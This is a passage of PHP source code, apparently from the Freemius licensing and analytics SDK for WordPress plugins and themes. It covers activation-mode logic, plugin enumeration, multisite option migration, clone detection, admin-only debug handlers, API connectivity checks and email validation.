(@svovaf) * @since 1.0.7 * * @param bool $and_on * * @return bool */ function is_site_activation_mode( $and_on = true ) { return ( ( $this->is_on() || ! $and_on ) && ( ( $this->is_premium() && true === $this->_storage->require_license_activation ) || ( ( ! $this->is_registered() || ( $this->is_only_premium() && ! $this->has_features_enabled_license() ) ) && ( ! $this->is_enable_anonymous() || ( ! $this->is_anonymous() && ! $this->is_pending_activation() ) ) ) ) ); } /** * Checks if the SDK in network activation mode. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param bool $and_on * * @return bool */ private function is_network_activation_mode( $and_on = true ) { if ( ! $this->_is_network_active ) { // Not network activated. return false; } if ( $this->is_network_upgrade_mode() ) { // Special flag to enforce network activation mode to decide what to do with the sites that are not yet opted-in nor skipped. return true; } if ( ! $this->is_site_activation_mode( $and_on ) ) { // Whether the context is single site or the network, if the plugin is no longer in activation mode then it is not in network activation mode as well. return false; } if ( $this->is_network_delegated_connection() ) { // Super-admin delegated the connection to the site admins -> not activation mode. return false; } if ( $this->is_network_anonymous() && true !== $this->_storage->require_license_activation ) { // Super-admin skipped the connection network wide -> not activation mode. return false; } if ( $this->is_network_registered() ) { // Super-admin connected at least one site -> not activation mode. return false; } return true; } /** * Check if current page is the opt-in/pending-activation page. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @return bool */ function is_activation_page() { if ( $this->_menu->is_activation_page( $this->show_opt_in_on_themes_page() ) ) { return true; } if ( ! $this->is_activation_mode() ) { return false; } // Check if current page is matching the activation page. return $this->is_matching_url( $this->get_activation_url() ); } /** * Check if URL path's are matching and that all querystring * arguments of the $sub_url exist in the $url with the same values. * * WARNING: * 1. This method doesn't check if the sub/domain are matching. * 2. Ignore case sensitivity. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $sub_url * @param string $url If argument is not set, check if the sub_url matching the current's page URL. * * @return bool */ private function is_matching_url( $sub_url, $url = '' ) { if ( empty( $url ) ) { $url = $_SERVER['REQUEST_URI']; } $url = strtolower( $url ); $sub_url = strtolower( $sub_url ); if ( parse_url( $sub_url, PHP_URL_PATH ) !== parse_url( $url, PHP_URL_PATH ) ) { // Different path - DO NOT OVERRIDE PAGE. return false; } $url_params = fs_parse_url_params( $url ); $sub_url_params = fs_parse_url_params( $sub_url ); foreach ( $sub_url_params as $key => $val ) { if ( ! isset( $url_params[ $key ] ) || $val != $url_params[ $key ] ) { // Not matching query string - DO NOT OVERRIDE PAGE. return false; } } return true; } /** * Get the basenames of all active plugins for specific blog. Including network activated plugins. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return string[] */ private static function get_active_plugins_basenames( $blog_id = 0 ) { if ( is_multisite() && $blog_id > 0 ) { $active_basenames = get_blog_option( $blog_id, 'active_plugins' ); } else { $active_basenames = get_option( 'active_plugins' ); } if ( ! is_array( $active_basenames ) ) { $active_basenames = array(); } if ( is_multisite() ) { $network_active_basenames = get_site_option( 'active_sitewide_plugins' ); if ( is_array( $network_active_basenames ) && ! empty( $network_active_basenames ) ) { $active_basenames = array_merge( $active_basenames, array_keys( $network_active_basenames ) ); } } return $active_basenames; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param int $blog_id * * @return array */ static function get_active_plugins_directories_map( $blog_id = 0 ) { $active_basenames = self::get_active_plugins_basenames( $blog_id ); $map = array(); foreach ( $active_basenames as $active_basename ) { $active_basename = fs_normalize_path( $active_basename ); if ( false === strpos( $active_basename, '/' ) ) { continue; } $map[ dirname( $active_basename ) ] = true; } return $map; } /** * Get collection of all active plugins. Including network activated plugins. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param int $blog_id Since 2.0.0 * * @return array[string]array */ private static function get_active_plugins( $blog_id = 0 ) { self::require_plugin_essentials(); $active_plugin = array(); $all_plugins = fs_get_plugins(); $active_plugins_basenames = self::get_active_plugins_basenames( $blog_id ); foreach ( $active_plugins_basenames as $plugin_basename ) { $active_plugin[ $plugin_basename ] = $all_plugins[ $plugin_basename ]; } return $active_plugin; } /** * Get collection of all site active plugins for a specified blog. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return array[string]array */ private static function get_site_active_plugins( $blog_id = 0 ) { $active_basenames = ( is_multisite() && $blog_id > 0 ) ? get_blog_option( $blog_id, 'active_plugins' ) : get_option( 'active_plugins' ); $active = array(); if ( ! is_array( $active_basenames ) ) { return $active; } foreach ( $active_basenames as $basename ) { $active[ $basename ] = array( 'is_active' => true, 'Version' => '1.0', // Dummy version. 'slug' => self::get_plugin_slug( $basename ), ); } return $active; } /** * Get collection of all plugins with their activation status for a specified blog. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @param int $blog_id Since 2.0.0 * * @return array Key is the plugin file path and the value is an array of the plugin data. */ private static function get_all_plugins( $blog_id = 0 ) { self::require_plugin_essentials(); $all_plugins = fs_get_plugins(); $active_plugins_basenames = self::get_active_plugins_basenames( $blog_id ); foreach ( $all_plugins as $basename => &$data ) { // By default set to inactive (next foreach update the active plugins). $data['is_active'] = false; // Enrich with plugin slug. $data['slug'] = self::get_plugin_slug( $basename ); } // Flag active plugins. foreach ( $active_plugins_basenames as $basename ) { if ( isset( $all_plugins[ $basename ] ) ) { $all_plugins[ $basename ]['is_active'] = true; } } return $all_plugins; } /** * Get collection of all plugins and if they are network level activated. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return array Key is the plugin basename and the value is an array of the plugin data. */ private static function get_network_plugins() { self::require_plugin_essentials(); $all_plugins = fs_get_plugins(); $network_active_basenames = is_multisite() ? get_site_option( 'active_sitewide_plugins' ) : array(); foreach ( $all_plugins as $basename => &$data ) { // By default set to inactive (next foreach update the active plugins). $data['is_active'] = false; // Enrich with plugin slug. $data['slug'] = self::get_plugin_slug( $basename ); } // Flag active plugins. foreach ( $network_active_basenames as $basename ) { if ( isset( $all_plugins[ $basename ] ) ) { $all_plugins[ $basename ]['is_active'] = true; } } return $all_plugins; } /** * Cached result of get_site_transient( 'update_plugins' ) * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @var object */ private static $_plugins_info; /** * Helper function to get specified plugin's slug. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @param $basename * * @return string */ private static function get_plugin_slug( $basename ) { if ( ! isset( self::$_plugins_info ) ) { self::$_plugins_info = get_site_transient( 'update_plugins' ); } $slug = ''; if ( is_object( self::$_plugins_info ) ) { if ( isset( self::$_plugins_info->no_update ) && isset( self::$_plugins_info->no_update[ $basename ] ) && ! empty( self::$_plugins_info->no_update[ $basename ]->slug ) ) { $slug = self::$_plugins_info->no_update[ $basename ]->slug; } else if ( isset( self::$_plugins_info->response ) && isset( self::$_plugins_info->response[ $basename ] ) && ! empty( self::$_plugins_info->response[ $basename ]->slug ) ) { $slug = self::$_plugins_info->response[ $basename ]->slug; } } if ( empty( $slug ) ) { // Try to find slug from FS data. $slug = self::find_slug_by_basename( $basename ); } if ( empty( $slug ) ) { // Fallback to plugin's folder name. $slug = dirname( $basename ); } return $slug; } private static $_statics_loaded = false; /** * Load static resources. * * @author Vova Feldman (@svovaf) * @since 1.0.1 */ private static function _load_required_static() { if ( self::$_statics_loaded ) { return; } self::$_static_logger = FS_Logger::get_logger( WP_FS__SLUG, WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); self::$_static_logger->entrance(); self::$_accounts = FS_Options::instance( WP_FS__ACCOUNTS_OPTION_NAME, true ); if ( is_multisite() ) { $has_skipped_migration = ( // 'id_slug_type_path_map' - was never stored on older versions, therefore, not exists on the site level. null === self::$_accounts->get_option( 'id_slug_type_path_map', null, false ) && // 'file_slug_map' stored on the site level, so it was running an SDK version before it was integrated with MS-network. null !== self::$_accounts->get_option( 'file_slug_map', null, false ) ); /** * If the file_slug_map exists on the site level but doesn't exist on the * network level storage, it means that we need to process the storage with migration. * * The code in this `if` scope will only be executed once and only for the first site that will execute it because once we migrate the storage data, file_slug_map will be already set in the network level storage. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ if ( ( $has_skipped_migration && true !== self::$_accounts->get_option( 'ms_migration_complete', false, true ) ) || ( null === self::$_accounts->get_option( 'file_slug_map', null, true ) && null !== self::$_accounts->get_option( 'file_slug_map', null, false ) ) ) { self::migrate_options_to_network(); } } self::$_global_admin_notices = FS_Admin_Notices::instance( 'global' ); if ( ! WP_FS__DEMO_MODE ) { add_action( ( fs_is_network_admin() ? 'network_' : '' ) . 'admin_menu', array( 'Freemius', '_add_debug_section' ) ); } add_action( "wp_ajax_fs_toggle_debug_mode", array( 'Freemius', '_toggle_debug_mode' ) ); self::add_ajax_action_static( 'get_debug_log', array( 'Freemius', '_get_debug_log' ) ); self::add_ajax_action_static( 'get_db_option', array( 'Freemius', '_get_db_option' ) ); self::add_ajax_action_static( 'set_db_option', array( 'Freemius', '_set_db_option' ) ); if ( 0 == did_action( 'plugins_loaded' ) ) { add_action( 'plugins_loaded', array( 'Freemius', '_load_textdomain' ), 1 ); } $clone_manager = FS_Clone_Manager::instance(); add_action( 'init', array( $clone_manager, '_init' ) ); add_action( 'admin_footer', array( 'Freemius', '_open_support_forum_in_new_page' ) ); if ( self::is_plugins_page() || self::is_themes_page() ) { add_action( 'admin_print_footer_scripts', array( 'Freemius', '_maybe_add_beta_label_styles' ), 9 ); /** * Specifically use this hook so that the JS event handlers will work properly on the "Themes" * page. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ add_action( 'admin_footer-' . self::get_current_page(), array( 'Freemius', '_maybe_add_beta_label_to_plugins_and_handle_confirmation') ); } self::$_statics_loaded = true; } #-------------------------------------------------------------------------------- #region Clone #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param bool $only_if_manual_resolution_is_not_hidden * * @return bool */ private function is_unresolved_clone( $only_if_manual_resolution_is_not_hidden = false ) { if ( ! $this->is_clone( $only_if_manual_resolution_is_not_hidden ) ) { return false; } return FS_Clone_Manager::instance()->has_temporary_duplicate_mode_expired(); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param bool $only_if_manual_resolution_is_not_hidden */ function is_clone( $only_if_manual_resolution_is_not_hidden = false ) { if ( ! is_object( $this->_site ) ) { return false; } $blog_id = null; if ( fs_is_network_admin() && FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ) { // Ensure that we're comparing the network install's URL with the relevant subsite's URL. $blog_id = $this->_storage->network_install_blog_id; } $site_url = Freemius::get_unfiltered_site_url( $blog_id, true, true ); if ( ! $this->_site->is_clone( $site_url ) ) { return false; } return ( ! $only_if_manual_resolution_is_not_hidden || ! FS_Clone_Manager::instance()->should_hide_manual_resolution() ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param int|null $blog_id * @param bool $strip_protocol * @param bool $add_trailing_slash * * @return string */ static function get_unfiltered_site_url( $blog_id = null, $strip_protocol = false, $add_trailing_slash = false ) { $url = ( ! is_multisite() && defined( 'WP_SITEURL' ) ) ? WP_SITEURL : self::get_site_url_from_wp_option( $blog_id ); if ( $strip_protocol ) { $url = fs_strip_url_protocol( $url ); } if ( $add_trailing_slash ) { $url = trailingslashit( $url ); } return $url; } /** * @author Leo Fajardo (@leorw) * @since 2.6.0 * * @param int|null $blog_id * * @return string */ private static function get_site_url_from_wp_option( $blog_id = null ) { global $wp_filter; $site_url_filters = array( 'site_url' => null, 'pre_option_siteurl' => null, 'default_option_siteurl' => null, 'option_siteurl' => null, ); // Detach all URL-related filters to get the actual site's URL (stripped of potential manipulations by multilingual plugins). foreach ( $site_url_filters as $hook_name => $site_url_filter ) { if ( ! empty( $wp_filter[ $hook_name ] ) ) { $site_url_filters[ $hook_name ] = $wp_filter[ $hook_name ]; unset( $wp_filter[ $hook_name ] ); } } $url = get_site_url( $blog_id ); // Re-attach the filters back. foreach ( $site_url_filters as $hook_name => $site_url_filter ) { if ( ! empty( $site_url_filter ) ) { $wp_filter[ $hook_name ] = $site_url_filter; } } return $url; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param number $site_id */ function fetch_install_by_id( $site_id ) { return $this->get_current_or_network_user_api_scope()->get( "/installs/{$site_id}.json" ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return string|object|bool */ function _handle_long_term_duplicate() { $this->_logger->entrance(); $this->delete_current_install( false ); $license_key = false; if ( is_object( $this->_license ) && ! $this->_license->is_utilized( ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) ) ) ) { $license_key = $this->_license->secret_key; } return $this->opt_in( false, false, false, $license_key, false, false, false, null, array(), false ); } #endregion /** * @author Leo Fajardo (@leorw) * * @since 2.1.3 */ private static function migrate_options_to_network() { self::migrate_accounts_to_network(); // Migrate API options from site level to network level. $api_network_options = FS_Option_Manager::get_manager( WP_FS__OPTIONS_OPTION_NAME, true, true ); $api_network_options->migrate_to_network(); // Migrate API cache to network level storage. FS_Cache_Manager::get_manager( WP_FS__API_CACHE_OPTION_NAME )->migrate_to_network(); self::$_accounts->set_option( 'ms_migration_complete', true, true ); } #---------------------------------------------------------------------------------- #region Localization #---------------------------------------------------------------------------------- /** * Load framework's text domain. * * @author Vova Feldman (@svovaf) * @since 1.2.1 */ static function _load_textdomain() { if ( ! is_admin() ) { return; } global $fs_active_plugins; // Works both for plugins and themes. load_plugin_textdomain( 'freemius', false, $fs_active_plugins->newest->sdk_path . '/languages/' ); } #endregion #---------------------------------------------------------------------------------- #region Debugging #---------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.0.8 */ static function _add_debug_section() { if ( ! is_super_admin() ) { // Add debug page only for super-admins. return; } self::$_static_logger->entrance(); $title = sprintf( '%s [v.%s]', fs_text_inline( 'Freemius Debug' ), WP_FS__SDK_VERSION ); if ( WP_FS__DEV_MODE ) { // Add top-level debug menu item. $hook = FS_Admin_Menu_Manager::add_page( $title, $title, 'manage_options', 'freemius', array( 'Freemius', '_debug_page_render' ) ); } else { // Add hidden debug page. $hook = FS_Admin_Menu_Manager::add_subpage( '', $title, $title, 'manage_options', 'freemius', array( 'Freemius', '_debug_page_render' ) ); } if ( ! empty( $hook ) ) { add_action( "load-$hook", array( 'Freemius', '_debug_page_actions' ) ); } } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ static function _toggle_debug_mode() { check_admin_referer( 'fs_toggle_debug_mode' ); if ( ! is_super_admin() ) { return; } $is_on = fs_request_get( 'is_on', false, 'post' ); if ( fs_request_is_post() && in_array( $is_on, array( 0, 1 ) ) ) { update_option( 'fs_debug_mode', $is_on ); // Turn on/off storage logging. FS_Logger::_set_storage_logging( ( 1 == $is_on ) ); } exit; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.6 */ static function _get_debug_log() { check_admin_referer( 'fs_get_debug_log' ); if ( ! is_super_admin() ) { return; } $limit = min( ! empty( $_POST['limit'] ) ? absint( $_POST['limit'] ) : 200, 200 ); $offset = min( ! empty( $_POST['offset'] ) ? absint( $_POST['offset'] ) : 200, 200 ); $logs = FS_Logger::load_db_logs( fs_request_get( 'filters', false, 'post' ), $limit, $offset ); self::shoot_ajax_success( $logs ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ static function _get_db_option() { check_admin_referer( 'fs_get_db_option' ); $option_name = fs_request_get( 'option_name' ); if ( ! is_super_admin() || ! fs_starts_with( $option_name, 'fs_' ) ) { self::shoot_ajax_failure(); } $value = get_option( $option_name ); $result = array( 'name' => $option_name, ); if ( false !== $value ) { if ( ! is_string( $value ) ) { $value = json_encode( $value ); } $result['value'] = $value; } self::shoot_ajax_success( $result ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ static function _set_db_option() { check_admin_referer( 'fs_set_db_option' ); $option_name = fs_request_get( 'option_name' ); if ( ! is_super_admin() || ! fs_starts_with( $option_name, 'fs_' ) ) { self::shoot_ajax_failure(); } $option_value = fs_request_get_raw( 'option_value' ); if ( ! empty( $option_value ) ) { update_option( $option_name, $option_value ); } self::shoot_ajax_success(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.8 */ static function _debug_page_actions() { self::_clean_admin_content_section(); if ( fs_request_is_action( 'restart_freemius' ) ) { check_admin_referer( 'restart_freemius' ); if ( ! is_multisite() ) { // Clear accounts data. self::$_accounts->clear( null, true ); } else { $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); self::$_accounts->clear( $blog_id, true ); } // Clear network level storage. self::$_accounts->clear( true, true ); } // Clear SDK reference cache. delete_option( 'fs_active_plugins' ); } else if ( fs_request_is_action( 'clear_updates_data' ) ) { check_admin_referer( 'clear_updates_data' ); if ( ! is_multisite() ) { set_site_transient( 'update_plugins', null ); set_site_transient( 'update_themes', null ); } else { $current_blog_id = get_current_blog_id(); $sites = self::get_sites(); foreach ( $sites as $site ) { switch_to_blog( self::get_site_blog_id( $site ) ); set_site_transient( 'update_plugins', null ); set_site_transient( 'update_themes', null ); } switch_to_blog( $current_blog_id ); } } else if ( fs_request_is_action( 'reset_deactivation_snoozing' ) ) { check_admin_referer( 'reset_deactivation_snoozing' ); self::reset_deactivation_snoozing(); } else if ( fs_request_is_action( 'simulate_trial' ) ) { check_admin_referer( 'simulate_trial' ); $fs = freemius( fs_request_get( 'module_id' ) ); // Update SDK install to at least 24 hours before. $fs->_storage->install_timestamp = ( time() - WP_FS__TIME_24_HOURS_IN_SEC ); // Unset the trial shown timestamp. unset( $fs->_storage->trial_promotion_shown ); } else if ( fs_request_is_action( 'simulate_network_upgrade' ) ) { check_admin_referer( 'simulate_network_upgrade' ); $fs = freemius( fs_request_get( 'module_id' ) ); self::set_network_upgrade_mode( $fs->_storage ); } else if ( fs_request_is_action( 'delete_install' ) ) { check_admin_referer( 'delete_install' ); self::_delete_site_by_slug( fs_request_get( 'slug' ), fs_request_get( 'module_type' ), true, fs_request_get( 'blog_id', null ) ); } else if ( fs_request_is_action( 'delete_user' ) ) { check_admin_referer( 'delete_user' ); self::delete_user( fs_request_get( 'user_id' ) ); } else if ( fs_request_is_action( 'download_logs' ) ) { check_admin_referer( 'download_logs' ); $download_url = FS_Logger::download_db_logs( fs_request_get( 'filters', false, 'post' ) ); if ( false === $download_url ) { wp_die( 'Oops... there was an error while generating the logs download file. Please try again and if it doesn\'t work contact support@freemius.com.' ); } fs_redirect( $download_url ); } else if ( fs_request_is_action( 'migrate_options_to_network' ) ) { check_admin_referer( 'migrate_options_to_network' ); self::migrate_options_to_network(); } } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return array */ static function get_all_modules_sites() { self::$_static_logger->entrance(); $sites_by_type = array( WP_FS__MODULE_TYPE_PLUGIN => array(), WP_FS__MODULE_TYPE_THEME => array(), ); $module_types = array_keys( $sites_by_type ); if ( ! is_multisite() ) { foreach ( $module_types as $type ) { $sites_by_type[ $type ] = self::get_all_sites( $type ); foreach ( $sites_by_type[ $type ] as $slug => $install ) { $sites_by_type[ $type ][ $slug ] = array( $install ); } } } else { $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); foreach ( $module_types as $type ) { $installs = self::get_all_sites( $type, $blog_id ); foreach ( $installs as $slug => $install ) { if ( ! isset( $sites_by_type[ $type ][ $slug ] ) ) { $sites_by_type[ $type ][ $slug ] = array(); } $install->blog_id = $blog_id; $sites_by_type[ $type ][ $slug ][] = $install; } } } } return $sites_by_type; } /** * @author Vova Feldman (@svovaf) * @since 1.0.8 */ static function _debug_page_render() { self::$_static_logger->entrance(); $all_modules_sites = self::get_all_modules_sites(); $licenses_by_module_type = self::get_all_licenses_by_module_type(); $vars = array( 'plugin_sites' => $all_modules_sites[ WP_FS__MODULE_TYPE_PLUGIN ], 'theme_sites' => $all_modules_sites[ WP_FS__MODULE_TYPE_THEME ], 'users' => self::get_all_users(), 'addons' => self::get_all_addons(), 'account_addons' => self::get_all_account_addons(), 'plugin_licenses' => $licenses_by_module_type[ WP_FS__MODULE_TYPE_PLUGIN ], 'theme_licenses' => $licenses_by_module_type[ WP_FS__MODULE_TYPE_THEME ] ); fs_enqueue_local_style( 'fs_debug', '/admin/debug.css' ); fs_require_once_template( 'debug.php', $vars ); } #endregion #---------------------------------------------------------------------------------- #region Connectivity Issues #---------------------------------------------------------------------------------- /** * Check if Freemius should be turned on for the current plugin install. * * Note: * $this->_is_on is updated in has_api_connectivity() * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_on() { self::$_static_logger->entrance(); if ( is_object( $this->_site ) && ! $this->is_registered() ) { return false; } if ( isset( $this->_is_on ) ) { return $this->_is_on; } // If already installed or pending then sure it's on :) if ( $this->is_registered() || $this->is_pending_activation() ) { $this->_is_on = true; return true; } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param bool $flush_if_no_connectivity * * @return bool */ private function should_run_connectivity_test( $flush_if_no_connectivity = false ) { if ( ! isset( $this->_storage->connectivity_test ) ) { // Connectivity test was never executed, or cache was cleared. return true; } if ( WP_FS__PING_API_ON_IP_OR_HOST_CHANGES ) { if ( WP_FS__IS_HTTP_REQUEST ) { if ( $_SERVER['HTTP_HOST'] != $this->_storage->connectivity_test['host'] ) { // Domain changed. return true; } if ( WP_FS__REMOTE_ADDR != $this->_storage->connectivity_test['server_ip'] ) { // Server IP changed. return true; } } } if ( $this->_storage->connectivity_test['is_connected'] && $this->_storage->connectivity_test['is_active'] ) { // API connected and Freemius is active - no need to run connectivity check. return false; } if ( $flush_if_no_connectivity ) { /** * If explicitly asked to flush when no connectivity - do it only * if at least 10 sec passed from the last API connectivity test. */ return ( isset( $this->_storage->connectivity_test['timestamp'] ) && ( WP_FS__SCRIPT_START_TIME - $this->_storage->connectivity_test['timestamp'] ) > 10 ); } /** * @since 1.1.7 Don't check for connectivity on plugin downgrade. */ $version = $this->get_plugin_version(); if ( version_compare( $version, $this->_storage->connectivity_test['version'], '>' ) ) { // If it's a plugin version upgrade and Freemius is off or no connectivity, run connectivity test. return true; } return false; } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param bool $is_update * * @return bool */ private function should_turn_fs_on( $is_update = true ) { if ( empty( $this->_plugin->opt_in_moderation ) || ! is_array( $this->_plugin->opt_in_moderation ) ) { return true; } $optin_config = $this->_plugin->opt_in_moderation; if ( WP_FS__IS_LOCALHOST && ( ! isset( $optin_config['localhost'] ) || false !== $optin_config['localhost'] ) ) { return true; } $optin_config_key = $is_update ? 'updates' : 'new'; if ( ! isset( $optin_config[ $optin_config_key ] ) ) { return true; } $visibility_percentage = $optin_config[ $optin_config_key ]; if ( 0 == $visibility_percentage ) { return false; } if ( ! is_numeric( $visibility_percentage ) ) { return true; } $min = 1; $max = 100; if ( function_exists( 'random_int' ) ) { $random = random_int( $min, $max ); // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.random_intFound } else { $random = rand( $min, $max ); } return ( $random <= $visibility_percentage ); } /** * Check if there's any connectivity issue to Freemius API. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool $flush_if_no_connectivity * * @return bool|null */ function has_api_connectivity( $flush_if_no_connectivity = false ) { $this->_logger->entrance(); if ( isset( $this->_has_api_connection ) && ( $this->_has_api_connection || ! $flush_if_no_connectivity ) ) { return $this->_has_api_connection; } if ( WP_FS__SIMULATE_NO_API_CONNECTIVITY && isset( $this->_storage->connectivity_test ) && true === $this->_storage->connectivity_test['is_connected'] ) { $this->clear_connectivity_info(); } if ( ! $this->should_run_connectivity_test( $flush_if_no_connectivity ) ) { $this->_has_api_connection = $this->_storage->connectivity_test['is_connected']; /** * @since 1.1.6 During dev mode, if there's connectivity - turn Freemius on regardless the configuration. * * @since 1.2.1.5 If the user running the premium version then ignore the 'is_active' flag and turn Freemius on to enable license key activation. */ $this->_is_on = $this->_storage->connectivity_test['is_active'] || $this->is_premium() || ( WP_FS__DEV_MODE && $this->_has_api_connection && ! WP_FS__SIMULATE_FREEMIUS_OFF ); return $this->_has_api_connection; } if ( ! empty( $this->_storage->connectivity_test ) && isset( $this->_storage->connectivity_test['is_active'] ) ) { $is_active = $this->_storage->connectivity_test['is_active']; } else { $is_active = $this->should_turn_fs_on( $this->apply_filters( 'is_plugin_update', $this->is_plugin_update() ) ); $this->store_connectivity_info( (object) array( 'is_active' => $is_active ), null ); } if ( $is_active ) { $this->_is_on = true; } return $this->_has_api_connection; } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 */ private function clear_connectivity_info() { unset( $this->_storage->connectivity_test ); FS_Api::clear_force_http_flag(); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @param object $pong * @param bool|null $is_connected */ private function store_connectivity_info( $pong, $is_connected ) { $this->_logger->entrance(); $version = $this->get_plugin_version(); if ( false === $is_connected || WP_FS__SIMULATE_FREEMIUS_OFF ) { $is_active = false; } else { $is_active = ( isset( $pong->is_active ) && true == $pong->is_active ); } $is_active = $this->apply_filters( 'is_on', $is_active, $this->is_plugin_update(), $version ); $this->_storage->connectivity_test = array( 'is_connected' => $is_connected, 'host' => $_SERVER['HTTP_HOST'], 'server_ip' => WP_FS__REMOTE_ADDR, 'is_active' => $is_active, 'timestamp' => WP_FS__SCRIPT_START_TIME, // Last version with connectivity attempt. 'version' => $version, ); $this->_has_api_connection = $is_connected; $this->_is_on = $is_active || ( WP_FS__DEV_MODE && $is_connected && ! WP_FS__SIMULATE_FREEMIUS_OFF ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.4 * * @param bool $is_connected */ private function update_connectivity_info( $is_connected ) { $this->store_connectivity_info( // This is true since we update the connection info only after a successful opt-in or license activation which means that Freemius has already been on even before the process. (object) array( 'is_active' => true ), $is_connected ); } /** * Force turning Freemius on. * * @author Vova Feldman (@svovaf) * @since 1.1.8.1 * * @return bool TRUE if successfully turned on. */ private function turn_on() { $this->_logger->entrance(); if ( $this->is_on() || ! isset( $this->_storage->connectivity_test['is_active'] ) ) { return false; } $updated_connectivity = $this->_storage->connectivity_test; $updated_connectivity['is_active'] = true; $updated_connectivity['timestamp'] = WP_FS__SCRIPT_START_TIME; $this->_storage->connectivity_test = $updated_connectivity; $this->_is_on = true; return true; } /** * Anonymous and unique site identifier (Hash). * * @author Vova Feldman (@svovaf) * @since 1.1.0 * * @param null|int $blog_id Since 2.0.0 * * @return string */ function get_anonymous_id( $blog_id = null ) { $unique_id = self::$_accounts->get_option( 'unique_id', null, $blog_id ); if ( empty( $unique_id ) || ! is_string( $unique_id ) ) { $key = self::get_unfiltered_site_url( $blog_id, true ); $secure_auth = defined( 'SECURE_AUTH_KEY' ) ? SECURE_AUTH_KEY : ''; if ( empty( $secure_auth ) || false !== strpos( $secure_auth, ' ' ) || 'put your unique phrase here' === $secure_auth ) { // Protect against default auth key. $secure_auth = md5( microtime() ); } /** * Base the unique identifier on the WP secure authentication key. Which * turns the key into a secret anonymous identifier. This will help us * to avoid duplicate installs generation on the backend upon opt-in. * * @author Vova Feldman (@svovaf) * @since 1.2.3 */ $unique_id = md5( $key . $secure_auth ); self::$_accounts->set_option( 'unique_id', $unique_id, true, $blog_id ); } $this->_logger->departure( $unique_id ); return $unique_id; } /** * Returns anonymous network ID. * * @since 2.4.3 * * @return string */ function get_anonymous_network_id() { return $this->get_anonymous_id( get_network()->site_id ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.4 * * @return \WP_User */ static function _get_current_wp_user() { self::require_pluggable_essentials(); self::wp_cookie_constants(); return wp_get_current_user(); } /** * Define cookie constants which are required by Freemius::_get_current_wp_user() since * it uses wp_get_current_user() which needs the cookie constants set. When a plugin * is network activated the cookie constants are only configured after the network * plugins activation, therefore, if we don't define those constants WP will throw * PHP warnings/notices. * * @author Vova Feldman (@svovaf) * @since 2.1.1 */ private static function wp_cookie_constants() { if ( defined( 'LOGGED_IN_COOKIE' ) && ( defined( 'AUTH_COOKIE' ) || defined( 'SECURE_AUTH_COOKIE' ) ) ) { return; } /** * Used to guarantee unique hash cookies * * @since 1.5.0 */ if ( ! defined( 'COOKIEHASH' ) ) { $siteurl = get_site_option( 'siteurl' ); if ( $siteurl ) { define( 'COOKIEHASH', md5( $siteurl ) ); } else { define( 'COOKIEHASH', '' ); } } if ( ! defined( 'LOGGED_IN_COOKIE' ) ) { define( 'LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH ); } /** * @since 2.5.0 */ if ( ! defined( 'AUTH_COOKIE' ) ) { define( 'AUTH_COOKIE', 'wordpress_' . COOKIEHASH ); } /** * @since 2.6.0 */ if ( ! defined( 'SECURE_AUTH_COOKIE' ) ) { define( 'SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH ); } } /** * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return int */ static function get_current_wp_user_id() { $wp_user = self::_get_current_wp_user(); return $wp_user->ID; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $email * * @return bool */ static function is_valid_email( $email ) { if ( false === filter_var( $email, FILTER_VALIDATE_EMAIL ) ) { return false; } $parts = explode( '@', $email ); if ( 2 !== count( $parts ) || empty( $parts[1] ) ) { return false; } $blacklist = array( 'admin.', 'webmaster.', 'localhost.', 'dev.', 'development.', 'test.', 'stage.', 'staging.', ); // Make sure domain is not one of the blacklisted. foreach ( $blacklist as $invalid ) { if ( 0 === strpos( $parts[1], $invalid ) ) { return false; } } // Get the UTF encoded domain name. /** * @note - The check of `defined('...')` is there to account for PHP servers compiled with some older version of ICU where the constants are not defined. * @author - @swashata */ $is_new_idn_available = ( version_compare( PHP_VERSION, '5.6.40') > 0 && defined( 'IDNA_DEFAULT' ) && defined( 'INTL_IDNA_VARIANT_UTS46' 